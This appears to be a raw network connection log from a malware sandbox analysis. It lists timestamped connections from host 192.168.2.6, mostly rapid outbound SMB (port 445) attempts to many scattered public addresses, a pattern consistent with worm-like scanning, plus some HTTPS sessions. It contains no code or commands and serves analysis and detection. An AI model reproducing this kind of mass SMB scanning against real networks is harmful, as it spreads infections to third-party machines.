Jul 20, 2022 09:07:49.243904114 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.243943930 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.243990898 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.244023085 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.244085073 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.244146109 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.244154930 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.249181986 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.249211073 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.249223948 CEST	50169	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.249232054 CEST	443	50169	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.250790119 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.250817060 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.250861883 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.250881910 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.250926971 CEST	50166	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.250977039 CEST	50166	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.256712914 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.256751060 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.256798029 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.256827116 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.256850958 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.257735968 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.257755041 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.257774115 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.257786989 CEST	50165	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.257795095 CEST	443	50165	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.261288881 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.261318922 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.261332989 CEST	50168	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.261341095 CEST	443	50168	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.270914078 CEST	50166	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.270953894 CEST	443	50166	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.281318903 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.281363964 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.281421900 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.281455994 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.281467915 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.281487942 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.281519890 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.300339937 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.300400019 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.300419092 CEST	50167	443	192.168.2.6	40.126.31.73
Jul 20, 2022 09:07:49.300431013 CEST	443	50167	40.126.31.73	192.168.2.6
Jul 20, 2022 09:07:49.313220024 CEST	50174	445	192.168.2.6	194.160.84.177
Jul 20, 2022 09:07:49.562238932 CEST	50179	445	192.168.2.6	135.94.186.103
Jul 20, 2022 09:07:49.925551891 CEST	50182	445	192.168.2.6	31.134.79.33
Jul 20, 2022 09:07:49.929485083 CEST	50183	445	192.168.2.6	153.193.110.164
Jul 20, 2022 09:07:49.929697037 CEST	50185	445	192.168.2.6	6.11.222.104
Jul 20, 2022 09:07:49.929776907 CEST	50186	445	192.168.2.6	72.79.65.183
Jul 20, 2022 09:07:49.929936886 CEST	50188	445	192.168.2.6	130.146.48.78
Jul 20, 2022 09:07:49.929955006 CEST	50187	445	192.168.2.6	26.158.154.64
Jul 20, 2022 09:07:49.930020094 CEST	50189	445	192.168.2.6	201.81.230.197
Jul 20, 2022 09:07:49.930052996 CEST	50190	445	192.168.2.6	220.157.171.243
Jul 20, 2022 09:07:49.931186914 CEST	50184	445	192.168.2.6	17.127.238.18
Jul 20, 2022 09:07:50.030867100 CEST	50193	445	192.168.2.6	162.211.191.173
Jul 20, 2022 09:07:50.031846046 CEST	50194	445	192.168.2.6	150.98.123.157
Jul 20, 2022 09:07:50.085228920 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.085278988 CEST	443	50195	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:50.085383892 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.089231014 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.089265108 CEST	443	50195	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:50.182296991 CEST	443	50195	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:50.182394981 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.190484047 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.190509081 CEST	443	50195	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:50.190849066 CEST	443	50195	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:50.202351093 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.202392101 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.202409029 CEST	443	50195	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:50.202995062 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.219369888 CEST	50197	445	192.168.2.6	19.140.222.27
Jul 20, 2022 09:07:50.223630905 CEST	445	50190	220.157.171.243	192.168.2.6
Jul 20, 2022 09:07:50.231093884 CEST	443	50195	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:50.231177092 CEST	443	50195	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:50.231303930 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.231507063 CEST	50195	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:50.231534004 CEST	443	50195	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:50.421040058 CEST	50201	445	192.168.2.6	68.61.82.67
Jul 20, 2022 09:07:50.552668095 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.552725077 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.552829027 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.552985907 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.553020000 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.553086042 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.556821108 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.556838036 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.559988976 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.560034990 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.649607897 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.649624109 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.649739027 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.649976015 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.650944948 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.651047945 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.651163101 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.651232958 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.666934013 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.666949034 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.667332888 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.667412043 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.668447018 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.668467045 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.668781996 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.668845892 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.685852051 CEST	50207	445	192.168.2.6	35.123.138.177
Jul 20, 2022 09:07:50.700530052 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.700666904 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.753026962 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.753114939 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.794544935 CEST	50190	445	192.168.2.6	220.157.171.243
Jul 20, 2022 09:07:50.796017885 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.796053886 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.796159029 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.796159983 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.796240091 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.854778051 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.854846001 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.854847908 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.854897976 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.902014971 CEST	50206	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.902055979 CEST	443	50206	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:50.936258078 CEST	50205	443	192.168.2.6	131.253.33.200
Jul 20, 2022 09:07:50.936305046 CEST	443	50205	131.253.33.200	192.168.2.6
Jul 20, 2022 09:07:51.034709930 CEST	50210	445	192.168.2.6	50.92.139.191
Jul 20, 2022 09:07:51.036245108 CEST	50211	445	192.168.2.6	222.203.214.134
Jul 20, 2022 09:07:51.039143085 CEST	50212	445	192.168.2.6	86.39.189.40
Jul 20, 2022 09:07:51.039719105 CEST	50213	445	192.168.2.6	21.72.107.38
Jul 20, 2022 09:07:51.040232897 CEST	50214	445	192.168.2.6	109.161.207.116
Jul 20, 2022 09:07:51.041037083 CEST	50215	445	192.168.2.6	51.77.158.56
Jul 20, 2022 09:07:51.041560888 CEST	50216	445	192.168.2.6	86.162.229.111
Jul 20, 2022 09:07:51.042112112 CEST	50217	445	192.168.2.6	209.33.228.204
Jul 20, 2022 09:07:51.042619944 CEST	50218	445	192.168.2.6	68.7.216.237
Jul 20, 2022 09:07:51.069103956 CEST	445	50215	51.77.158.56	192.168.2.6
Jul 20, 2022 09:07:51.090660095 CEST	445	50190	220.157.171.243	192.168.2.6
Jul 20, 2022 09:07:51.158713102 CEST	50219	445	192.168.2.6	158.80.129.3
Jul 20, 2022 09:07:51.160512924 CEST	50220	445	192.168.2.6	175.60.0.42
Jul 20, 2022 09:07:51.327462912 CEST	50221	445	192.168.2.6	141.93.121.143
Jul 20, 2022 09:07:51.545449018 CEST	50222	445	192.168.2.6	178.120.203.18
Jul 20, 2022 09:07:51.690115929 CEST	50215	445	192.168.2.6	51.77.158.56
Jul 20, 2022 09:07:51.721359015 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.721376896 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.721390009 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.721405983 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.721518993 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.721649885 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.722084999 CEST	445	50215	51.77.158.56	192.168.2.6
Jul 20, 2022 09:07:51.733644962 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.733675957 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.733793974 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.733817101 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.810890913 CEST	50225	445	192.168.2.6	42.124.129.248
Jul 20, 2022 09:07:51.866405010 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.866523027 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.876092911 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.876178026 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.898674011 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.898701906 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.899661064 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.899755001 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.958992004 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.959019899 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.971688032 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.974375963 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.992677927 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.992758989 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:51.993125916 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:51.993225098 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.154639006 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.154686928 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.154726982 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:52.154747963 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.154779911 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:52.154836893 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:52.154843092 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.154906988 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:52.155258894 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.155474901 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:52.161346912 CEST	50227	445	192.168.2.6	66.50.46.16
Jul 20, 2022 09:07:52.167329073 CEST	50230	445	192.168.2.6	176.123.179.109
Jul 20, 2022 09:07:52.167349100 CEST	50224	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:52.167368889 CEST	50229	445	192.168.2.6	102.135.168.216
Jul 20, 2022 09:07:52.167376995 CEST	443	50224	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.167397976 CEST	50231	445	192.168.2.6	47.22.24.211
Jul 20, 2022 09:07:52.167445898 CEST	50233	445	192.168.2.6	124.194.105.125
Jul 20, 2022 09:07:52.167453051 CEST	50228	445	192.168.2.6	162.243.149.127
Jul 20, 2022 09:07:52.167460918 CEST	50232	445	192.168.2.6	92.134.102.54
Jul 20, 2022 09:07:52.167478085 CEST	50234	445	192.168.2.6	146.186.211.122
Jul 20, 2022 09:07:52.167495966 CEST	50226	445	192.168.2.6	31.138.243.71
Jul 20, 2022 09:07:52.167876959 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.167901993 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.167968035 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.167992115 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:52.168029070 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:52.172451019 CEST	50223	443	192.168.2.6	20.82.209.183
Jul 20, 2022 09:07:52.172533035 CEST	443	50223	20.82.209.183	192.168.2.6
Jul 20, 2022 09:07:52.269882917 CEST	50235	445	192.168.2.6	152.168.205.222
Jul 20, 2022 09:07:52.280019999 CEST	50236	445	192.168.2.6	149.185.46.165
Jul 20, 2022 09:07:52.280076027 CEST	50237	445	192.168.2.6	121.210.106.177
Jul 20, 2022 09:07:52.280319929 CEST	445	50231	47.22.24.211	192.168.2.6
Jul 20, 2022 09:07:52.451793909 CEST	50238	445	192.168.2.6	12.43.13.210
Jul 20, 2022 09:07:52.654876947 CEST	50239	445	192.168.2.6	90.80.8.7
Jul 20, 2022 09:07:52.812565088 CEST	50231	445	192.168.2.6	47.22.24.211
Jul 20, 2022 09:07:52.927093029 CEST	445	50231	47.22.24.211	192.168.2.6
Jul 20, 2022 09:07:52.928124905 CEST	50240	445	192.168.2.6	184.239.192.79
Jul 20, 2022 09:07:53.289453983 CEST	50241	445	192.168.2.6	114.184.135.155
Jul 20, 2022 09:07:53.289690971 CEST	50242	445	192.168.2.6	73.105.46.72
Jul 20, 2022 09:07:53.290014982 CEST	50243	445	192.168.2.6	32.185.84.19
Jul 20, 2022 09:07:53.290074110 CEST	50244	445	192.168.2.6	110.39.141.20
Jul 20, 2022 09:07:53.290182114 CEST	50245	445	192.168.2.6	8.235.108.194
Jul 20, 2022 09:07:53.290277004 CEST	50246	445	192.168.2.6	112.95.172.247
Jul 20, 2022 09:07:53.290361881 CEST	50247	445	192.168.2.6	203.176.50.219
Jul 20, 2022 09:07:53.290477991 CEST	50248	445	192.168.2.6	203.110.8.208
Jul 20, 2022 09:07:53.290540934 CEST	50249	445	192.168.2.6	117.53.33.171
Jul 20, 2022 09:07:53.379952908 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.380001068 CEST	443	50250	20.199.120.151	192.168.2.6
Jul 20, 2022 09:07:53.380094051 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.380918980 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.380938053 CEST	443	50250	20.199.120.151	192.168.2.6
Jul 20, 2022 09:07:53.418426991 CEST	50251	445	192.168.2.6	163.58.51.219
Jul 20, 2022 09:07:53.419374943 CEST	50252	445	192.168.2.6	113.195.73.38
Jul 20, 2022 09:07:53.436026096 CEST	50253	445	192.168.2.6	104.146.88.102
Jul 20, 2022 09:07:53.476607084 CEST	443	50250	20.199.120.151	192.168.2.6
Jul 20, 2022 09:07:53.476742029 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.492822886 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.492851973 CEST	443	50250	20.199.120.151	192.168.2.6
Jul 20, 2022 09:07:53.493139982 CEST	443	50250	20.199.120.151	192.168.2.6
Jul 20, 2022 09:07:53.536206961 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.536262035 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.536279917 CEST	443	50250	20.199.120.151	192.168.2.6
Jul 20, 2022 09:07:53.536489010 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.570065975 CEST	443	50250	20.199.120.151	192.168.2.6
Jul 20, 2022 09:07:53.570144892 CEST	443	50250	20.199.120.151	192.168.2.6
Jul 20, 2022 09:07:53.570223093 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.604268074 CEST	50250	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:07:53.604306936 CEST	443	50250	20.199.120.151	192.168.2.6
Jul 20, 2022 09:07:53.619532108 CEST	50254	445	192.168.2.6	216.182.105.172
Jul 20, 2022 09:07:53.784037113 CEST	50255	445	192.168.2.6	59.49.186.240
Jul 20, 2022 09:07:54.077400923 CEST	50256	445	192.168.2.6	172.183.207.57
Jul 20, 2022 09:07:54.297981977 CEST	50257	445	192.168.2.6	124.87.79.82
Jul 20, 2022 09:07:54.389880896 CEST	50258	445	192.168.2.6	175.69.86.46
Jul 20, 2022 09:07:54.390525103 CEST	50259	445	192.168.2.6	19.228.197.23
Jul 20, 2022 09:07:54.391447067 CEST	50260	445	192.168.2.6	52.2.122.8
Jul 20, 2022 09:07:54.392201900 CEST	50261	445	192.168.2.6	37.94.214.141
Jul 20, 2022 09:07:54.392952919 CEST	50262	445	192.168.2.6	7.222.106.204
Jul 20, 2022 09:07:54.393640041 CEST	50263	445	192.168.2.6	67.18.249.155
Jul 20, 2022 09:07:54.401889086 CEST	50264	445	192.168.2.6	206.137.237.97
Jul 20, 2022 09:07:54.411245108 CEST	50265	445	192.168.2.6	182.9.183.156
Jul 20, 2022 09:07:54.411478996 CEST	50266	445	192.168.2.6	170.58.118.110
Jul 20, 2022 09:07:54.515089989 CEST	50267	445	192.168.2.6	115.1.76.25
Jul 20, 2022 09:07:54.515822887 CEST	50268	445	192.168.2.6	135.184.221.26
Jul 20, 2022 09:07:54.571736097 CEST	50269	445	192.168.2.6	185.64.161.241
Jul 20, 2022 09:07:54.733957052 CEST	50270	445	192.168.2.6	19.206.217.67
Jul 20, 2022 09:07:54.920660973 CEST	50271	445	192.168.2.6	169.47.123.213
Jul 20, 2022 09:07:55.202012062 CEST	50272	445	192.168.2.6	138.79.95.17
Jul 20, 2022 09:07:55.422089100 CEST	50273	445	192.168.2.6	164.251.198.233
Jul 20, 2022 09:07:55.515722990 CEST	50274	445	192.168.2.6	3.167.252.202
Jul 20, 2022 09:07:55.525034904 CEST	50276	445	192.168.2.6	219.145.24.165
Jul 20, 2022 09:07:55.525104046 CEST	50277	445	192.168.2.6	24.139.184.217
Jul 20, 2022 09:07:55.525211096 CEST	50278	445	192.168.2.6	173.39.144.102
Jul 20, 2022 09:07:55.525298119 CEST	50279	445	192.168.2.6	91.99.46.102
Jul 20, 2022 09:07:55.525660992 CEST	50275	445	192.168.2.6	80.181.15.199
Jul 20, 2022 09:07:55.530256987 CEST	50280	445	192.168.2.6	77.8.25.72
Jul 20, 2022 09:07:55.530836105 CEST	50281	445	192.168.2.6	197.22.151.178
Jul 20, 2022 09:07:55.531521082 CEST	50282	445	192.168.2.6	138.174.210.11
Jul 20, 2022 09:07:55.593405008 CEST	49710	443	192.168.2.6	23.201.249.71
Jul 20, 2022 09:07:55.611680984 CEST	443	49710	23.201.249.71	192.168.2.6
Jul 20, 2022 09:07:55.611713886 CEST	443	49710	23.201.249.71	192.168.2.6
Jul 20, 2022 09:07:55.611784935 CEST	49710	443	192.168.2.6	23.201.249.71
Jul 20, 2022 09:07:55.611815929 CEST	49710	443	192.168.2.6	23.201.249.71
Jul 20, 2022 09:07:55.639494896 CEST	50283	445	192.168.2.6	185.240.58.241
Jul 20, 2022 09:07:55.640130997 CEST	50284	445	192.168.2.6	145.200.116.215
Jul 20, 2022 09:07:55.692121983 CEST	50285	445	192.168.2.6	197.125.165.38
Jul 20, 2022 09:07:55.693317890 CEST	445	50277	24.139.184.217	192.168.2.6
Jul 20, 2022 09:07:55.842596054 CEST	49717	80	192.168.2.6	67.26.73.254
Jul 20, 2022 09:07:55.858270884 CEST	50286	445	192.168.2.6	138.240.151.131
Jul 20, 2022 09:07:55.862627029 CEST	80	49717	67.26.73.254	192.168.2.6
Jul 20, 2022 09:07:55.862780094 CEST	49717	80	192.168.2.6	67.26.73.254
Jul 20, 2022 09:07:56.066919088 CEST	50287	445	192.168.2.6	129.217.140.188
Jul 20, 2022 09:07:56.295043945 CEST	50277	445	192.168.2.6	24.139.184.217
Jul 20, 2022 09:07:56.297784090 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.297818899 CEST	443	50288	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:56.297915936 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.298924923 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.298938990 CEST	443	50288	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:56.303035975 CEST	50289	445	192.168.2.6	210.195.112.175
Jul 20, 2022 09:07:56.333014011 CEST	50290	445	192.168.2.6	74.93.93.121
Jul 20, 2022 09:07:56.399000883 CEST	443	50288	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:56.399188995 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.402806044 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.402827024 CEST	443	50288	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:56.403069973 CEST	443	50288	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:56.406425953 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.406498909 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.406510115 CEST	443	50288	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:56.407104969 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.439248085 CEST	443	50288	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:56.439318895 CEST	443	50288	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:56.439460039 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.445781946 CEST	50288	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:07:56.445807934 CEST	443	50288	20.199.120.85	192.168.2.6
Jul 20, 2022 09:07:56.463601112 CEST	445	50277	24.139.184.217	192.168.2.6
Jul 20, 2022 09:07:56.469768047 CEST	49927	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:56.469782114 CEST	49922	445	192.168.2.6	201.187.246.11
Jul 20, 2022 09:07:56.561647892 CEST	50291	445	192.168.2.6	1.57.58.152
Jul 20, 2022 09:07:56.647646904 CEST	50292	445	192.168.2.6	206.222.126.227
Jul 20, 2022 09:07:56.648406982 CEST	50293	445	192.168.2.6	129.45.153.16
Jul 20, 2022 09:07:56.648880959 CEST	50294	445	192.168.2.6	75.66.50.103
Jul 20, 2022 09:07:56.649612904 CEST	50295	445	192.168.2.6	57.192.85.104
Jul 20, 2022 09:07:56.650481939 CEST	50296	445	192.168.2.6	102.48.139.157
Jul 20, 2022 09:07:56.650692940 CEST	50297	445	192.168.2.6	126.194.152.134
Jul 20, 2022 09:07:56.655643940 CEST	50298	445	192.168.2.6	97.179.31.37
Jul 20, 2022 09:07:56.655805111 CEST	50299	445	192.168.2.6	199.152.239.159
Jul 20, 2022 09:07:56.655869007 CEST	50300	445	192.168.2.6	223.218.115.152
Jul 20, 2022 09:07:56.756079912 CEST	445	50296	102.48.139.157	192.168.2.6
Jul 20, 2022 09:07:56.764646053 CEST	50302	445	192.168.2.6	67.136.3.230
Jul 20, 2022 09:07:56.765314102 CEST	50303	445	192.168.2.6	214.78.132.136
Jul 20, 2022 09:07:56.796133041 CEST	50304	445	192.168.2.6	220.216.129.203
Jul 20, 2022 09:07:56.973057985 CEST	50305	445	192.168.2.6	89.240.120.176
Jul 20, 2022 09:07:57.123241901 CEST	49933	445	192.168.2.6	201.187.246.1
Jul 20, 2022 09:07:57.187050104 CEST	50306	445	192.168.2.6	204.158.6.186
Jul 20, 2022 09:07:57.315077066 CEST	50296	445	192.168.2.6	102.48.139.157
Jul 20, 2022 09:07:57.414927959 CEST	445	50296	102.48.139.157	192.168.2.6
Jul 20, 2022 09:07:57.421042919 CEST	50307	445	192.168.2.6	62.31.205.221
Jul 20, 2022 09:07:57.454375982 CEST	50308	445	192.168.2.6	91.39.231.247
Jul 20, 2022 09:07:57.687695980 CEST	50309	445	192.168.2.6	216.185.38.199
Jul 20, 2022 09:07:57.749082088 CEST	50310	445	192.168.2.6	132.95.149.226
Jul 20, 2022 09:07:57.749880075 CEST	50311	445	192.168.2.6	94.115.176.60
Jul 20, 2022 09:07:57.750607967 CEST	50312	445	192.168.2.6	61.63.143.127
Jul 20, 2022 09:07:57.751311064 CEST	50313	445	192.168.2.6	144.54.6.140
Jul 20, 2022 09:07:57.752018929 CEST	50314	445	192.168.2.6	22.167.137.9
Jul 20, 2022 09:07:57.752741098 CEST	50315	445	192.168.2.6	118.226.170.34
Jul 20, 2022 09:07:57.766045094 CEST	50316	445	192.168.2.6	30.55.218.221
